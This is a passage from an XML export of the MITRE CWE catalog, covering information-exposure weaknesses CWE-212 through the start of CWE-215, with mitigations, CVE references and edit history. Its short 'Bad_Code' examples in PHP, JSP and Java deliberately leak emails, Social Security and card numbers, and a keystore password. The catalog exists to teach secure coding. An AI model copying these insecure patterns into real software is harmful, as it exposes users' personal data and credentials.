						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This entry is intended to be different from resultant information leaks,
						including those that occur from improper buffer initialization and reuse,
						improper encryption, interaction errors, and multiple interpretation errors.
						This entry could be regarded as a privacy leak, depending on the type of
						information that is leaked.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>There is a close association between CWE-226 and CWE-212. The difference
						is partially that of perspective. CWE-226 is geared towards the final stage
						of the resource lifecycle, in which the resource is deleted, eliminated,
						expired, or otherwise released for reuse. Technically, this involves a
						transfer to a different control sphere, in which the original contents of
						the resource are no longer relevant. CWE-212, however, is intended for
						sensitive data in resources that are intentionally shared with others, so
						they are still active. This distinction is useful from the perspective of
						the CWE research view (CWE-1000).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The terms "cleansing" and "scrubbing" have multiple uses within computing.
						In information security, these are used for the removal of sensitive data,
						but they are also used for the modification of incoming/outgoing data so
						that it conforms to specifications. </Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Sensitive data may be exposed to an unauthorized actor in another
							control sphere. This may have a wide range of secondary consequences
							which will depend on what data is exposed. One possibility is the
							exposure of system data allowing an attacker to craft a specific, more
							effective attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clearly specify which information should be regarded as private or
							sensitive, and require that the product offers functionality that allows
							the user to cleanse the sensitive information from the resource before
							it is published or exported to other parties.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-33">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use naming conventions and strong types to make it easier to spot when
							sensitive data is being used. When creating structures, objects, or
							other complex entities, separate the sensitive and non-sensitive data as
							much as possible.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This makes it easier to spot places in the code where data is being
							used that is unencrypted.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid errors related to improper resource shutdown or release
							(CWE-404), which may leave the sensitive data within the resource if it
							is in an incomplete state.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code either generates a public HTML user information page or a
						JSON response containing the same user information. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment>// API flag, output JSON if set</Comment>
							              <Code>$json = $_GET['json']</Code>
							              <Code>$username = $_GET['user']</Code>
							              <Code>if(!$json)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>$record = getUserRecord($username);</Code>
								                <Code>foreach($record as $fieldName =&gt; $fieldValue)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>if($fieldName == "email_address") {</Code>
									                  <Block>
										                    <Comment>// skip displaying user emails</Comment>
										                    <Code>continue;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else{</Code>
									                  <Block>
										                    <Code>writeToHtmlPage($fieldName,$fieldValue);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>$record = getUserRecord($username);</Code>
								                <Code>echo json_encode($record);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> The programmer is careful to not display the user's e-mail address
							when displaying the public HTML page. However, the e-mail address is not
							removed from the JSON response, exposing the user's e-mail address.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0406</Observed_Example_Reference>
					          <Observed_Example_Description>Some image editors modify a JPEG image, but the
						original EXIF thumbnail image is left intact within the JPEG. (Also an
						interaction error).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0704</Observed_Example_Reference>
					          <Observed_Example_Description>NAT feature in firewall leaks internal IP
						addresses in ICMP error messages.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Cross-Boundary Cleansing Infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>168</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Name, Observed_Examples, Potential_Mitigations,
						Relationship_Notes, Relationships, Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Cross-boundary Cleansing
						Information Leak</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Improper Cross-boundary
						Cleansing</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="213" Name="Intentional Information Exposure" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A product's design or configuration explicitly requires the
					publication of information that could be regarded as sensitive by an
					administrator.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This overlaps other categories, but it is distinct from the error message
						infoleaks.</Text>
					          <Text>It's not always clear whether an infoleak is intentional or not. For
						example, CVE-2005-3261 identifies a PHP script that lists file versions, but
						it could be that the developer did not intend for this information to be
						public, but introduced a direct request issue instead.</Text>
					          <Text>In vulnerability theory terms, this covers cases in which the developer's
						Intended Policy allows the information to be made available, but the
						information might be in violation of a Universal Policy in which the
						product's administrator should have control over which</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The JSP code listed below displays a user's credit card and social
						security numbers in a browser window (even though they aren't absolutely
						necessary).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>Social Security Number: &lt;%= ssn %&gt;&lt;/br&gt;Credit Card
								Number: &lt;%= ccn %&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1725</Observed_Example_Reference>
					          <Observed_Example_Description>Script calls
						phpinfo()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0033</Observed_Example_Reference>
					          <Observed_Example_Description>Script calls
						phpinfo()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1181</Observed_Example_Reference>
					          <Observed_Example_Description>Script calls
						phpinfo()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1422</Observed_Example_Reference>
					          <Observed_Example_Description>Script calls
						phpinfo()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1590</Observed_Example_Reference>
					          <Observed_Example_Description>Script calls
						phpinfo()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1038</Observed_Example_Reference>
					          <Observed_Example_Description>Product lists DLLs and full
						pathnames.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1205</Observed_Example_Reference>
					          <Observed_Example_Description>Telnet protocol allows servers to obtain sensitive
						environment information from clients.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0488</Observed_Example_Reference>
					          <Observed_Example_Description>Telnet protocol allows servers to obtain sensitive
						environment information from clients.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Intended information leak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Intended Information
						Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="214" Name="Information Exposure Through Process Environment" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A process is invoked with sensitive arguments, environment
					variables, or other elements that can be seen by other processes on the
					operating system.</Description_Summary>
				        <Extended_Description>
					          <Text>Many operating systems allow a user to list information about processes
						that are owned by other users. This information could include command line
						arguments or environment variable settings. When this data contains
						sensitive information such as credentials, it might allow other users to
						launch an attack against the software or related resources.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the Java example below, the password for a keystore file is read
						from a system property. If the property is defined on the command line when
						the program is invoked (using the -D... syntax), the password may be
						displayed in the OS process list.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String keystorePass =
								System.getProperty("javax.net.ssl.keyStorePassword");</Code>
							              <Code>if (keystorePass == null) {</Code>
							              <Block>
								                <Code>System.err.println("ERROR: Keystore password not
									specified.");</Code>
								                <Code>System.exit(-1);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1387</Observed_Example_Reference>
					          <Observed_Example_Description>password passed on command
						line</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2291</Observed_Example_Reference>
					          <Observed_Example_Description>password passed on command
						line</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1565</Observed_Example_Reference>
					          <Observed_Example_Description>username/password on command line allows local
						users to view via "ps" or other process listing
						programs</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1948</Observed_Example_Reference>
					          <Observed_Example_Description>Username/password on command line allows local
						users to view via "ps" or other process listing
						programs.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1270</Observed_Example_Reference>
					          <Observed_Example_Description>PGP passphrase provided as command line
						argument.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1058</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel race condition allows reading of
						environment variables of a process that is still
						spawning.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied, especially environment variables.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Process information infoleak to other
						processes</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Process Information Leak to
						Other Processes</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Process Environment
						Information Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="215" Name="Information Exposure Through Debug Information" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application contains debugging code that can expose
					sensitive information to untrusted parties.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>717</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This overlaps other categories.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not leave debug statements that could be executed in the source
							code. Assure that all debug information is eradicated before releasing
							the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
